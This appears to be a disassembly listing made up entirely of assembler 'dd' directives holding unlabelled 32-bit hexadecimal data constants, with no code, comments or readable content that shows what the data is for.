		dd 0F708E7C1h, 0F6805FD7h, 0F82AD0EFh, 7384D58h, 41495911h
		dd 542D9E6h, 10C921DEh,	0E978B031h, 6C9C6790h, 10E0FD94h
		dd 8102C541h, 0E47035E7h, 0DAD7F182h, 3FED6801h, 0A65EE523h
		dd 44034A7Bh, 4C9B54E9h, 480F4645h, 0B06B1F3Fh,	5376F7F8h
		dd 1ABD5679h, 0FA57C0AAh, 8FE7B52Dh, 0D3950F20h, 0AF591EE0h
		dd 0F35EAE90h, 6203A50Dh, 1ECCFC38h, 0D23F64E6h, 1659BD1Bh
		dd 0FFFDCB01h, 18ADB9A4h, 0EF27BB77h, 94591E48h, 813BD246h
		dd 0C9D98860h, 0E690E5CAh, 64DB3AF5h, 0E6402F18h, 0BF1C2364h
		dd 0F0E70EC3h, 0E6495882h, 0FD317801h, 240FCE9h, 8582FD66h
		dd 5006EB4h, 0A4A6F06h,	2DD8011Dh, 75292707h, 75A89A6Fh
		dd 2617F598h, 15005739h
		dd 19E63797h, 0AF680452h, 0EF337823h, 0F8826744h, 0EC4F9BF8h
		dd 0C45EA208h, 5451309Bh, 0F422E90Bh, 82D197h, 30CB1067h
		dd 0EF179D05h, 0D913CF34h, 56B297F8h, 69E9B7A1h, 61429DA1h
		dd 53258BA4h, 0B0A9A282h, 680A0B40h, 1E512E0Dh,	17F87788h
		dd 9EC7FCADh, 4A9F15D5h, 0B9E9C26h, 6AD33F19h, 7D200D00h
		dd 0D10669A9h, 3D9CE9EAh, 30D97757h, 803EEC84h,	0F09DF8CFh
		dd 0AC4429B0h, 0CD8100E5h, 77AA6A87h, 0F6BE5600h, 0C16C4439h
		dd 0F1AFB8EEh, 3D27828Bh, 577C770h, 0CE01517Ch,	122F5521h
		dd 0B124C7E9h, 0B016BE5Eh, 0A703A44Ah, 0E7F2105Bh, 7648464Dh
		dd 0B22ACD16h, 41244E18h, 2488F5C9h, 800E2594h,	0CBE33C6h
		dd 86123381h, 0D3F6DE1Bh, 1DCEF808h, 0A232B0D0h, 5800D6C3h
		dd 0A1C493BAh, 0D2829905h, 0DD07E0A5h, 6A49286Fh, 8BCAF1ECh
		dd 5E0ED008h, 0E9AD9C02h, 4AD2D832h, 287D528h, 0E3EB333Dh
		dd 0F1D50C25h, 0AE4264C9h, 1C0378D3h, 5FFEB63Dh, 0A4D197CEh
		dd 58278A63h, 42A8F3D4h, 0A2FE20B7h, 9812BC8Bh,	0EB151E7h
		dd 0C5E18085h, 8431C164h, 0CF12AAC0h, 8BF316ECh, 6538EB95h
		dd 4E1C4099h, 2307AF92h, 0EE09648Eh, 30AC33E4h,	51982D02h
		dd 0E3416CB2h, 0C0074705h, 4A751382h, 19A85B4Bh, 0CEFD82A5h
		dd 1ED2C220h, 3B5F769Ah, 250E62F2h, 1C384A6Eh, 36E6B5CFh
		dd 0E6B1E912h, 6084FFADh, 0C429ED7Ch, 37D444F0h, 18D08AFh
		dd 0A40B1624h, 0FAA58B7Fh, 85580136h, 91E9964Dh, 0E78D81E5h
		dd 305B452Dh, 80DA7F30h, 7B71D9B8h, 0B4835850h,	760B4D17h
		dd 0C1407282h, 41AC532Ah, 0BEA21206h, 7A4D4204h, 303AFF13h
		dd 19E8AC14h, 0CB3C4402h, 0AE40464Ch, 0CD316DC7h, 0D6C6415Bh
		dd 29D87421h, 0BCB390F1h, 30F02D1h, 9507EFFh, 0E3A2504Eh
		dd 1272054Ah, 0E871AF2Ch, 0AF20F888h, 0F6214019h, 4A29D058h
		dd 65F767CCh, 0B05A0BD1h, 1792591Dh, 0EEC1599Fh, 6DC3A5h
		dd 0E64C7566h, 2EB80149h, 4E8A5A5Fh, 0E21BC84Fh, 0F4E88D4Ah
		dd 163768E0h, 0E362A494h, 555F0026h, 963EBB53h,	0BD498C06h
		dd 97310B94h, 0E9131DFAh, 0BADCEAF2h, 61E33168h, 0AAA9F7B3h
		dd 392DD57Bh, 75746A4h,	7018C7C2h, 0E0EDE576h, 0D0955A99h
		dd 0D20920A2h, 2F14369Fh, 968670E9h, 0D2BA4E58h, 214F41B5h
		dd 2C7FF665h, 6B401C99h, 0D1C21709h, 0B91363E2h, 292703EEh
		dd 19F0EC4Fh, 1DA6BDE9h, 900B6AF8h, 6A10DEB3h, 3B802DAAh
		dd 5622F705h, 0E801020Ah, 0E91C072Dh, 0B771802Dh, 941F042Ch
		dd 661E3A75h, 5F66715Bh, 5397047Eh, 5AA94687h, 8660998h
		dd 0B083613Eh, 7F01519h, 9A25E95Eh, 6EC47CBAh, 522B007Fh
		dd 0C8870F3Bh, 79F48997h, 0C9E54238h, 871BD07h,	0BCE81E40h
		dd 114C5E0h, 0C8DC0FEh,	0F488D26h, 8703037Ah, 50D6F7F1h
		dd 18BC5808h, 0C017233h, 734C773Fh, 9C6003Ch, 29322C61h
		dd 80CC90CEh, 785F5908h, 0AA34B583h, 477E5EA4h,	0D57763B2h
		dd 1045C52Dh, 0B95D517Bh, 2B133F31h, 656571D7h,	933D2E50h
		dd 0AD58613Ah, 6F8104BBh, 732FB870h, 0EFEC5CDEh, 0E90A918Eh
		dd 463CCC61h, 59976A50h, 29D42763h, 333786CFh, 0CC60C83h
		dd 0F7A28082h, 29D85E4Bh, 2B436968h, 0DEC92777h, 0F91FE1A2h
		dd 0B33B8869h, 6961F43Ah, 438A680Ah, 0A68DD988h, 0C96E4525h
		dd 25ABB02h, 2084657Dh,	123BF56Ah, 1974EFECh, 0BFCB9216h
		dd 0AA515F14h, 2D936A30h, 9C487B72h, 0AF7E1069h, 0C0A4B35Eh
		dd 0A7E9555Ch, 6828BC3Ch, 0C4BDAEC4h, 0EBE6948Dh, 9EBB898h
		dd 6E037CCh, 8FFA8F5h, 0D038E90Bh, 4B898510h, 0DE2717F6h
		dd 10C1AF66h, 0D5E52B01h, 51A13C28h, 0E6A23F54h, 0D105E9C4h
		dd 9EEF2946h, 4B92FB44h, 0F087C949h, 0B81F3A87h, 0DD296E8Bh
		dd 0B2098004h, 0E55B73FFh, 0B5F554D8h, 3AF36FC8h, 25334D97h
		dd 0F9AF5673h, 0FE914B3Ah, 4E7D32EAh, 50F01E0h,	0D30932BEh
		dd 0F0A91F5Ah, 687CE923h, 3CBE0AD2h, 12BAC307h,	0FDEED124h
		dd 0A9EA3D0Fh, 1982D586h, 5E05400Fh, 5D08B001h,	68302F5Fh
		dd 0E2440FE7h, 1AC9E961h, 0E9D06FF4h, 0A66D4BD5h, 35BB13B7h
		dd 0F75B8CE3h, 3F0CC825h, 57D5B4D5h, 807C003Ah,	850F22E7h
		dd 0ECA88173h, 0F6C847B5h, 88500196h, 30EB80D3h, 0D4FACB90h
		dd 1AAC054Bh, 1655588Bh, 4810B5C4h, 581FDF2h, 5D644F2Fh
		dd 0F3F5A265h, 50BC768Dh, 0C467C589h, 0CFFE3D5Bh, 0E8BD1713h
		dd 90D68BB1h, 127FC3B7h, 4A52DC09h, 3008EB7Ch, 43074E0Ch
		dd 62F1424Fh, 87BEB26Ah, 70232BFh, 94074084h, 2D4B047Ch
		dd 8153FA01h, 7222E8C8h, 7DA45EFEh, 76F5ED29h, 9BB2364h
		dd 28195356h, 73226A00h, 5A9D0B5Eh, 0D7D2F56h, 74A5C2F1h
		dd 0E18F97E0h, 0B546EC2Fh, 0C5280D1Eh, 16AD25CCh, 0EC8F260Fh
		dd 14D9ADB4h, 65C01B08h, 7A28BE5Ah, 0ACEC403Ch,	0F09FA2F4h
		dd 0E8175A10h, 80A3406Bh, 882EC705h, 60E85BFAh,	8BB6D420h
		dd 0D710602Ch, 0A130DC48h, 0C3285B81h, 774822FCh, 0D8B58195h
		dd 7520DBD7h, 9B4205BCh, 93AFE926h, 52F0B8F3h, 50072C8h
		dd 613A767Bh, 17E32D40h, 0C1669B71h, 52A51A13h,	8B40E2E8h
		dd 8EA3BD1h, 0F809AF90h, 852D0752h, 9DBA3A24h, 0A955423Dh
		dd 3D84E927h, 3A2E9DABh, 72A45D34h, 337E6251h, 1DC97611h
		dd 0CD27F6E2h, 0E24EFC09h, 0F6006794h, 48B724D0h, 0D15B370Fh
		dd 7CE60220h, 0ADB180A2h, 9EF8155h, 62B9F0CDh, 0A040AD7Ch
		dd 983B6C9Eh, 252B0B94h, 946A3E43h, 825B0804h, 0C5C7B30Ah
		dd 3AB65204h, 91F0C283h, 6D2858C3h, 2893B1A0h, 0F1E9D912h
		dd 0FD2485h, 0B7F78B8Eh, 66640BB3h, 1AD08489h, 0E64E41EEh
		dd 92DEF707h, 0DB42EBECh, 6EB4E0E9h, 398E2015h,	44C503B8h
		dd 0D9C8AD75h, 0ABD51DA8h, 0D4CD8183h, 20782F01h, 8182A729h
		dd 394968D4h, 46C5D87Bh, 28BB84Ch, 0DC1114EFh, 0AFC141F9h
		dd 844E377Ah, 0F0FFCF8h, 0E9F97EBAh, 0F2927DD6h, 0E5558D42h
		dd 9569637h, 4ADE09CAh,	88E5E647h, 4005C7BBh, 13E9525Bh
		dd 0ADF5984Bh, 65000C3Ah, 7204EBD3h, 68349221h,	909AFABCh
		dd 0EF880054h, 6E7225EEh, 0F58A5777h, 25EFB118h, 9A1C4E38h
		dd 0BA2CF01h, 0A583D908h, 5C009FC5h, 68C8BF0Fh,	0E7274DA8h
		dd 8C653084h, 0A6056843h, 5D663F71h, 0F09ECBCh,	60CBD88Ah
		dd 3B1F2EC8h, 1EE94D0Bh, 19ADB00Dh, 205981CEh, 0AB5EB239h
		dd 1B2804C1h, 680B6136h, 0D53A31CDh, 0A52DB265h, 0BFEC5CCEh
		dd 929624Ah, 68546469h,	0C668B07Dh, 224B36Ah, 1DE1626h
		dd 0F681AEA0h, 0C490F0B5h, 67702D01h, 0CFE90AC7h, 0D400D722h
		dd 0C012CC80h, 0C4EC04E4h, 0B151D10Fh, 42F187F0h, 0F906E1C3h
		dd 34C803E9h, 2073926Ah, 59B573E8h, 0F30A6F61h,	1E90907h
		dd 422D1520h, 3609DA38h, 7CC28952h, 0CDA03B4Ah,	2775D09Fh
		dd 42C82F45h, 0C57CABF9h, 0E9C59CB9h, 0A94A1CA8h, 5A68C08Ch
		dd 44E223h, 29283558h, 4FE962E1h, 489D4DB2h, 0BCC93E9Bh
		dd 27AD48D3h, 8B8B9119h, 0D6828511h, 0DAEF62A9h, 60BBBD00h
		dd 0E168F7B6h, 0DFAED0Eh, 0F5C06A8Eh, 76C4F278h, 0D4BF89B7h
		dd 0DDC30844h, 32D1612Dh, 0F1EBD958h, 2820ED71h, 0F5009D06h
		dd 11EC4B1Dh, 9531A193h, 8700E159h, 0BA0152FDh,	0C0FA05B1h
		dd 646ED531h, 4FBDD193h, 0B33913EFh, 7DA47CDCh,	5C4B2792h
		dd 0E3D4BB68h, 315E6880h, 0B86A633Fh, 5A59018Bh, 2F58CD26h
		dd 0D09F8120h, 6C139F2h
		dd 6E2897D0h, 7BB010F9h, 7D40FCB0h, 30DB7FBDh, 2CB458CEh
		dd 5001B462h, 499AE281h, 30201151h, 0ECC8B297h,	1AFA9596h
		dd 0FAECE03h, 186AA87h,	88C0EE13h, 3814E9F1h, 46B412C7h
		dd 2D22D873h, 0E44201A3h, 0CCBFBC64h, 94EE3C22h, 2402821Bh
		dd 0E1BF35B9h, 1C41DB01h, 141CA008h, 0F0F7C09Dh, 5264B57Ah
		dd 4EFB10Eh, 28CE4062h,	48BEE9C8h, 408F2FAAh, 0DBFAF40Fh
		dd 402554D9h, 0EE5F5941h, 0C883B787h, 3022478Fh, 52E39EDCh
		dd 75B2895Fh, 0E95196B0h, 93B66C32h, 0B3B180E7h, 2E284B33h
		dd 342D2F7h, 77030FFBh,	0DC43F2B0h, 14EB713h, 0AF895904h
		dd 2F9429ABh, 0C0FA5F49h, 2112D33h, 297DB645h, 78105D0h
		dd 50F1D7E9h, 0C4FEECC2h, 0BBF4801Ch, 2858E503h, 0C1EDC2DDh
		dd 0D7CADE29h, 0C0525E25h, 9E23AF62h, 0D5C080B7h, 0C32424Dh
		dd 66B2890Fh, 1E0BE593h, 2E8633h, 507A88Eh, 21582F40h
		dd 0ECED1CC0h, 0EEFD9F16h, 25E980A4h, 0F892BD7Eh, 61DDD41h
		dd 0B266275Ah, 0A4D89A54h, 5B219D82h, 3063B551h, 5C81D250h
		dd 9F9B4A6h, 1A541908h,	54BCCAB9h, 59796DC1h, 30BE356Ah
		dd 0D41D0FDh, 18A9C420h, 1F5E1109h, 83305346h, 340CE9EDh
		dd 58026384h, 0BCA2E945h, 0B3D2B46Bh, 2D5B6800h, 5A350092h
		dd 0CA81424Ah, 5D482797h, 0DE85169Eh, 0E94FBFA7h, 93E195B6h
		dd 1C2814BFh, 0C9BAB012h, 0AB1C3A2Bh, 0FBBC7F97h, 6BC8BBE0h
		dd 0E90E520Fh, 893955EDh, 82FAC659h, 25397EF8h,	0CBAD50D1h
		dd 71ADFB16h, 0F2594BFEh, 96A993E5h, 0BF01FEA5h, 0B6C50D4h
		dd 1475D06Dh, 0B479ED0Dh, 0E9361B0Ah, 0A2063B91h, 0C102A27h
		dd 43AD8A09h, 8F8A853Ch, 7A585E62h, 0E422C64h, 0E03C4742h
		dd 3BBD53DFh, 777E6502h, 0DC5FFD31h, 49A120A8h,	582791BEh
		dd 90770CABh, 0D360F8A1h, 9329F2E3h, 811C65ABh,	4A973ECCh
		dd 0D82D7BBCh, 64B27616h, 82489495h, 0F0F4438Ah, 69BD732Dh
		dd 7A2709D5h, 0D3BC20F9h, 1EF166A0h, 0C240CC25h, 1AC38616h
		dd 1390D310h, 62CEA5Dh,	0C82B5E9Bh, 0C340EB8Eh,	0E3785E68h
		dd 505200A2h, 88F8B753h, 2030B0FCh, 0D882EFBAh,	5FD5AA8Ch
		dd 400F519Dh, 0E6F0CEF3h, 0E029832Dh, 9852FE28h, 75D72721h
		dd 0C3428959h, 1FA761F7h, 0DA269C3Ch, 1531ADADh, 1E4F2966h
		dd 0C88034E7h, 0B6880F30h, 4AE595DFh, 1C2FFC1Fh, 9737FC8Ah
		dd 11B6A9C6h, 7BF06884h, 682C6CEEh, 5AD6A1B7h, 0CDA011E9h
		dd 79BB08C4h, 61056B5h,	0C522DB05h, 0EE40AE34h,	32727084h
		dd 0EA89ED1h, 0B0D77DF8h, 8AA4F6D3h, 0F9C78E0Fh, 5FA6698Dh
		dd 55C2881Bh, 0F3A4B9FEh, 0D17A4E83h, 5FA7E907h, 0A62C0F74h
		dd 39E10AA9h, 2CD7AF4h,	19387EE3h, 848287Fh, 1D621627h
		dd 0A51E5FDBh, 30E95E60h, 5B202062h, 6641F589h,	0D4A66A36h
		dd 5CDC0125h, 0CCAF82C9h, 0CB2801A0h, 0B41D6E66h, 81A9B522h
		dd 592704F6h, 844E6201h, 5A0B39DFh, 9411042Ah, 595F0B72h
		dd 8B4BC8F1h, 3FC559CEh, 0CA101D24h, 3DFD6809h,	8D6284FEh
		dd 625807AEh, 925FD2F9h, 3CF61D6h, 0FEEAE50h, 718E280Ah
		dd 14191DD9h, 1608AEF2h, 0C5B61A3h, 0FC4B3EE2h,	0F95E0902h
		dd 0D073DF5h, 0BDE4CF82h, 0C8A520A8h, 74304E81h, 702113C3h
		dd 0E4A7E160h, 8D1FF8EAh, 2D6A2Eh, 5089CBD6h, 0C1541268h
		dd 0C33A00EBh, 48E8AEC6h, 2AE2959h, 0FD2B33EEh,	7693802Ch
		dd 15220B2Dh, 818E3DE9h, 0B3015616h, 6119012Bh,	2EE96552h
		dd 0CF80F450h, 3BA99E4Bh, 0B7DF7073h, 9E0453A9h, 3BA5AD14h
		dd 4B2AFE6h, 37C85A48h,	838059A5h, 0BAD67D2Dh, 81C2B753h
		dd 559BD501h, 4D6E26C9h, 0DADE6BA5h, 0E806E909h, 890443FAh
		dd 5C12CD7h, 516DD7EBh,	705D17BEh, 269C15D2h, 3108EE2Dh
		dd 66A5AF62h, 86327DD0h, 70274EA7h, 6C55BCB0h, 334BF4BCh
		dd 0B0C84A31h, 0F15BE90Ch, 9BB8CE4h, 55B465D3h,	0FD249889h
		dd 0BDCFBFB3h, 0A5265924h, 4CCEBDFCh, 0E5599F96h, 53D96825h
		dd 0D202BBE0h, 0EA1DBE9Ah, 0A619D68Fh, 0C80E5C01h, 2694418h
		dd 2A24DE7h, 8B5D8868h,	0E984F656h, 0D75109F7h,	0BFA8151Eh
		dd 69FF03E9h, 6AFE0947h, 272EF49Dh, 8AB15263h, 887A8D7Ch
		dd 0DEF80864h, 42D9226h, 68667EE7h, 211AC184h, 16033629h
		dd 9327D546h, 0B12EF44h, 0BCD203ECh, 8B00CEE2h,	5DDD88F1h
		dd 0E10102C7h, 608E393Eh, 2712E039h, 15007E0Ch,	3BCF57CAh
		dd 0A086120Fh, 0C560F8DCh, 9BBB36C2h, 9D2016C4h, 74733CABh
		dd 0C4C32DE5h, 9A11BC2Bh, 0E2A6532Eh, 0C9CA5EE9h, 0E8E89D05h
		dd 0AD5ABDh, 0ABA6C68Fh, 0A42D5B6Ch, 86251836h,	3F120529h
		dd 8007E7C1h, 7245DC90h, 0F7044976h, 5C852292h,	372CD1FAh
		dd 0C3530270h, 2C07F4E3h, 0D347D298h, 0FE7F580Bh, 21BCBEC6h
		dd 0EEDA9359h, 0A5507F21h, 7909926Dh, 845F22E3h, 1CBB5A5Ah
		dd 3735194Eh, 6B3A21FAh, 0C3C3784Fh, 9F8CE256h,	0A9F827C4h
		dd 7080BD3Ah, 0E809615Eh, 0C909355Dh, 0D7B4449Ch, 51779926h
		dd 83E85750h, 6BE54E1Fh, 798CA539h, 0F541680h, 0BB32A1D0h
		dd 87C26A37h, 0A0BFE161h, 556CCC6Eh, 0FB091CB0h, 5C7D0878h
		dd 2C602F6Eh, 0E74F8B0Fh, 9B177D12h, 60EBB416h,	595ACF19h
		dd 51C80100h, 372D6768h, 0B2E5A30Fh, 0FD26751Ah, 0E30A9FC3h
		dd 0DF4A1068h, 0F60EE8C0h, 0EAE92F46h, 23F53909h, 10C7C9B8h
		dd 5BFB267Dh, 0EC30B71h, 86298005h, 0F42ED746h,	430EFD89h
		dd 0BF78987h, 2DF778E2h, 75DC6F29h, 0A0B01CAh, 0EF45F67Dh
		dd 0A4F53365h, 7E0260E7h, 41491D52h, 20DF6155h,	8D6197F1h
		dd 0D5D81352h, 6AB79B1Ch, 5720BA57h, 2EC2B36Ah,	0CE566ACAh
		dd 27B05060h, 2FB490FEh, 0D5D1F4B8h, 4B18B40Fh,	0C097A385h
		dd 820BDDEEh, 0DDDCC28Bh, 0BC5C75A4h, 0C7B3024Ah, 0E228E6B5h
		dd 126C63Eh, 1EB15102h,	0C02FC180h, 0F72AE9CBh,	9B25B5E3h
		dd 9D9D94C9h, 3B9182E9h, 73413644h, 581CA45h, 0FE24B6D7h
		dd 0C2EBE224h, 0F26852AAh, 0CE2E8B59h, 0EB93C15Eh, 9F8910ECh
		dd 53C6DEC8h, 644E1B13h, 6D0D8705h, 4BA8F8D4h, 0CE292D48h
		dd 6F893FD5h, 72761CEAh, 7B762104h, 0BFD7F683h,	0C9AF73F5h
		dd 8724204Dh, 32BB0C00h, 0F215592Dh, 0D0F73B17h, 0AB583E81h
		dd 6C89E936h, 5BB0171h,	295D5259h, 5B08D441h, 84487CD6h
		dd 90237BE9h, 3E8BE538h, 955C543Dh, 25942511h, 0C92C56F2h
		dd 0B12E28F6h, 0A4208BA6h, 0AE803C27h, 0E979EA24h, 8395F4A7h
		dd 2BEF5894h, 6812D9Ah,	2B2212E9h, 8B01A8CCh, 0C710C2C2h
		dd 98D99D18h, 570B0D42h, 5E2F33C7h, 365DD1B3h, 11BB50C0h
		dd 68B54404h, 89A049E9h, 45BD1D66h, 0E5D10F26h,	0BDDA7E84h
		dd 0EB032CCFh, 72099F28h, 8759CC29h, 0D1B44188h, 898144AFh
		dd 0E07F8DD4h, 42925E0Ch, 9459BE27h, 69699905h,	0F47263D4h
		dd 0BA1A6908h, 0ED322A82h, 0B14FCE77h, 0AA11B4E7h, 0EF3EE28Bh
		dd 93BCF25Fh, 35B364D1h, 12EBDB20h, 486C0FEh, 0C976C9DDh
		dd 2002FC2Bh, 0DFF72501h, 0CF8A8D0Fh, 2776CE6Bh, 694AF989h
		dd 98E31EA7h, 84975E1Dh, 0FE871547h, 0CA1C40D2h, 0F9B4439Fh
		dd 6182D544h, 2E09B2CEh, 0C5239F40h, 0B9FF2181h, 138152Ch
		dd 0AE8C182h, 12CF605Fh, 0A4E98056h, 9EE9335Bh,	968AE9B0h
		dd 5E8FBA9Dh, 0F8396A72h, 6C4AACE9h, 6A953737h,	0F56248BCh
		dd 8902AD3Bh, 0E34AC0CBh, 582C9007h, 8204A143h,	0AE719BFDh
		dd 0EE80D85h, 95ABB1h
		dd 3D7240BDh, 0B6171A50h, 0E86E4707h, 731A8E06h, 0AB8B8156h
		dd 0F640947Dh, 0B59BC2Eh, 9183E4C0h, 0BB3AB478h, 0E1E0F350h
		dd 0D89AD6F6h, 0EB4AD1B5h, 7DD0B2D7h, 5680EEE5h, 7819AB68h
		dd 855E5B54h, 9F1FBBACh, 4653B809h, 4C8C0454h, 1329282Dh
		dd 551E8100h, 5E0F500Dh, 9C5CF589h, 16422818h, 681EE976h
		dd 0C1C68Bh, 804EB1D0h,	0CB28AEF1h, 0C12539Ch, 654E5DBEh
		dd 0E012E358h, 1DC0F5E9h, 4184820Fh, 891CEC03h,	88F7D0A8h
		dd 4BB3EF00h, 7D4EA81h,	657AE1D6h, 0A6C104BAh, 0DA210CE5h
		dd 0F84E681h, 1702522h,	88C1BDF3h, 0F2A44F0Ch, 5C0ED1D1h
		dd 65307EF0h, 90B64723h, 6C3E5D8Bh, 3D2512Ch, 2810337Eh
		dd 3987A3E1h, 0D525266Bh, 0E3A58A5h, 0F9885BF7h, 11F73069h
		dd 8D786655h, 87D9755Eh, 0F5E7F5BAh, 0A0F9027Dh, 0F4BBAE68h
		dd 564D7412h, 20AE9707h, 0D8894B71h, 1E2BCA2Eh,	654BE62Dh
		dd 6D0C8039h, 9DC1C877h, 4C203478h, 3D5097CBh, 0B7E68104h
		dd 0BCC18F04h, 0E94806BDh, 5027ECDBh, 2E89B70Ah, 8288A3Fh
		dd 0F7015DFCh, 7A860FD8h, 0E23E6E25h, 53E90AD5h, 0CE8CA5C0h
		dd 488C0BD2h, 0AAA47ACDh, 5B520E5Ch, 0E9515130h, 0D7BD5E76h
		dd 8026F028h, 9258427Eh, 3FEB73AAh, 0EAC07E1Ch,	33C28105h
		dd 61CC24E8h, 0AC31977Fh, 0F752B2B6h, 985D1542h, 90EA29B8h
		dd 0CC2C4E32h, 0F14FF659h, 68CCA501h, 0CC6F554Bh, 33905ED4h
		dd 0BF8084F4h, 13270C4Ch, 0E4BA477Dh, 1420E65Fh, 3B11663h
		dd 5257594Ch, 0B9B02168h, 0E92D5A17h, 0EBB96B96h, 0F735026Dh
		dd 5BBE7399h, 0FEE9E563h, 3E32EEFh, 140DF8D3h, 8095D6ADh
		dd 4F8F6799h, 2D7EF589h, 98EED878h, 1FB25D2h, 646A69C2h
		dd 0A40726Fh, 0B05585Dh, 0E0D35E01h, 51FAB068h,	4327ADA7h
		dd 0B5BC6E9h, 7478472Fh, 560DC24Ch, 5D047D09h, 0D5CB57h
		dd 4120C6BDh, 0A15F5578h, 6907D7AAh, 0AADF8A09h, 170A1154h
		dd 79BC1C4Fh, 38F32817h, 0CE2749D1h, 1CA9BD00h,	0BB1A6601h
		dd 80F9793Ch, 2E8E9530h, 25B4C213h, 8825BD0h, 9B14E7Dh
		dd 61EE235Ch, 195A5301h, 3BE3DAF1h, 12FFE28Dh, 0F27F9F6h
		dd 3F556841h, 1316E77Bh, 224904E9h, 683B005Ch, 9D2AEF30h
		dd 12027D63h, 19742664h, 4DFC0B09h, 2891A82h, 8DA955A0h
		dd 7E2EB957h, 0CBA20AEEh, 1A470957h, 0DA1E5F22h, 438669Dh
		dd 0B44BA468h, 0D081BE57h, 132CFAB2h, 0DB6C49D6h, 815EF0A4h
		dd 4685C6Dh, 2DD082ABh,	0E9BF0344h, 0A26E5835h,	0BF0526F4h
		dd 0F02BBF09h, 0BEFB08Fh, 49943014h, 45F772F8h,	0CF88BB08h
		dd 26E65C05h, 12460D2Eh, 3C2AE38Ah, 0B329C0BAh,	48E52570h
		dd 0C140D3ADh, 6A7911E9h, 4310528Ch, 4D95FA5h, 0C3957D79h
		dd 0D8316813h, 1316D00Eh, 0EE0954BCh, 27575C87h, 966A16E5h
		dd 0DDEB8B44h, 55E0CCE6h, 72F8E92Dh, 0C5D232FAh, 0A761F759h
		dd 935F2868h, 0A5DDD2B2h, 0E9590E5Ch, 223A5EC9h, 48FFBFE5h
		dd 933929B2h, 3DFB2739h, 0BE5EF22Fh, 850F58D0h,	586DC869h
		dd 0AAE916CEh, 52E48C2Eh, 454EFCB0h, 0E9F89480h, 0FB13BA93h
		dd 0B0A6112Dh, 3194C220h, 6D6AC4FEh, 109376FBh,	5FA2A8F9h
		dd 0CB20EAC4h, 0D1F73B53h, 0A9D0A996h, 7527111Ch, 8200B05Ch
		dd 0F6E1E380h, 525E66D3h, 380B115h, 21DD6853h, 43B2973Ch
		dd 9312550Fh, 15626259h, 81770970h, 451ED6CCh, 206FA12Bh
		dd 8F2CF33h, 0F269802h,	0FCE40587h, 50AB51FBh, 5BF588B8h
		dd 0C968F1B7h, 19AC8754h, 0D425D309h, 2E89496Bh, 42C85928h
		dd 54391A19h, 0A8D8512Ch, 1A2C1318h, 0E93E0C08h, 98B5F80Dh
		dd 2EB8B1B1h, 0F7FB979Bh, 14D311DFh, 3BBB102Ah,	34904B5Bh
		dd 0F4D05A3h, 18D3468Ch, 60E2545h, 2CF18843h, 50705CE7h
		dd 0CFC8839h, 754EE9E5h, 6A0B0FBEh, 174B2C30h, 54A5D78h
		dd 82D08638h, 5EC3AD5h,	4DD2AD99h, 0A81C4053h, 0DFE35C88h
		dd 0ABAF2F34h, 0B066BB8Ch, 7DA1090Eh, 3FD868E9h, 40E25C4Eh
		dd 92D5EB8Ah, 223DAB5Dh, 5ECC1F42h, 1DB5428Ah, 441E22C0h
		dd 41A10982h, 5AF1F51Fh, 0C527E8C1h, 68C0D33Eh,	6673F727h
		dd 0BA5049DBh, 44FE1Eh,	0EE865901h, 54BE6C0h, 52172CE8h
		dd 6A16207Eh, 4404656Eh, 4F5AD709h, 0D2A7C0BFh,	12786A5h
		dd 5E1500FEh, 284B162Dh, 0A7761Ah, 59F7B951h, 0E1811518h
		dd 6F536A1Fh, 0B32DD8A6h, 0C2A8C9DDh, 685A6E82h, 56A26071h
		dd 0EBF686B5h, 0FB75D459h, 8FFA07Ah, 7B976CFEh,	0FD8084Fh
		dd 0E004424h, 89A3B8F4h, 9AECB5F0h, 603E830h, 27503506h
		dd 0BB740136h, 0F6E78B1Fh, 23E9F847h, 0D1E4FC4Ah, 0C18B9581h
		dd 37006D7Bh, 49276321h, 0ADF13C81h, 600E3C13h,	7DCDB8E0h
		dd 0E248DB30h, 616F02CEh, 2BDC0C67h, 60F12AC0h,	840E9F9h
		dd 1F14BB53h, 7222D7Fh,	0B57DDAF3h, 46C2EA45h, 503058CAh
		dd 0B47D731h, 0B4BB8F0Fh, 89A5087Ch, 45B37D42h,	7B48DE92h
		dd 2098864h, 275144E9h,	78828497h, 7008557Ch, 0C0E90907h
		dd 2EE5DA8h, 5F654888h,	0EAC60CD5h, 5A4F0316h, 59C80177h
		dd 7FE883A9h, 5AE926B4h, 0ACFDC5F2h, 7F5FB110h,	7739E569h
		dd 0CD8FEA9Eh, 6AB9B2D7h, 50F3D244h, 0BB055A00h, 1D0A836Eh
		dd 72DC829h, 0EF0B572Ch, 79AFC87Dh, 12FE822Ch, 0D0460BBCh
		dd 0E0FA007Ah, 0C40F2D51h, 1627AF28h, 0C8BED100h, 0BF1FC668h
		dd 3053D231h, 8C59820Dh, 31788191h, 0D0703EE2h,	93061DB3h
		dd 0C7EF8135h, 310B7137h, 0AC140Ah, 992A9AE8h, 0F951010Fh
		dd 0E90804F8h, 0D6932A15h, 7617F880h, 0A7B0AC4Fh, 267CB68Dh
		dd 1EB80BFBh, 68C23C79h, 9A752956h, 0D9C55DC3h,	0B0FAA73Ch
		dd 97E0FE7Bh, 5C93736Dh, 0DD8148FDh, 2860AA68h,	394B9BBBh
		dd 205E4DACh, 0CA8681Ah, 0BAF1925Bh, 983DB33Ah,	0FB85040h
		dd 0A66DF358h, 4217C52Ah, 8B5799E9h, 0CD5630A1h, 0A4D39726h
		dd 584D6841h, 9B807B57h, 0F60A2D20h, 44030D05h,	0E16A6EB1h
		dd 4A522855h, 1C9433F2h, 0B5C5D062h, 53F6A148h,	0CAC38828h
		dd 0F05B8B40h, 95A4FF7h, 39DCC756h, 28302C81h, 71D204F8h
		dd 682E4C38h, 34B9B272h, 882DB781h, 0EBC15BFDh,	8FF44A4h
		dd 0C6306EBEh, 13BCB753h, 0EEF1F780h, 0E8503E1Fh, 0A9094D75h
		dd 0FF7D6812h, 1A59C044h, 761E3614h, 0F3E4216h,	73501983h
		dd 12F4417Dh, 20490301h, 5A5328B1h, 0B8F8A7Ah, 12BE7CE9h
		dd 0F1AE60EAh, 169C8265h, 8C1D75B1h, 0E869DB4h,	0CE4E9D0Ah
		dd 0B86C8C20h, 0B3F1A1ACh, 82D1276Eh, 36D66DAAh, 0BE065060h
		dd 62CD9653h, 63E0E5C1h, 599DECAEh, 0AF87EA02h,	52132745h
		dd 0CA30E9B6h, 0CED5E925h, 800445B9h, 0B1F20A8h, 3EF7E8C6h
		dd 22D2B0D4h, 0D5818EF8h, 0EF56E4CBh, 828EDC82h, 0B28A0FC7h
		dd 0D62586FCh, 0A8B6C84Eh, 0AD2900F5h, 40AE3561h, 956F74h
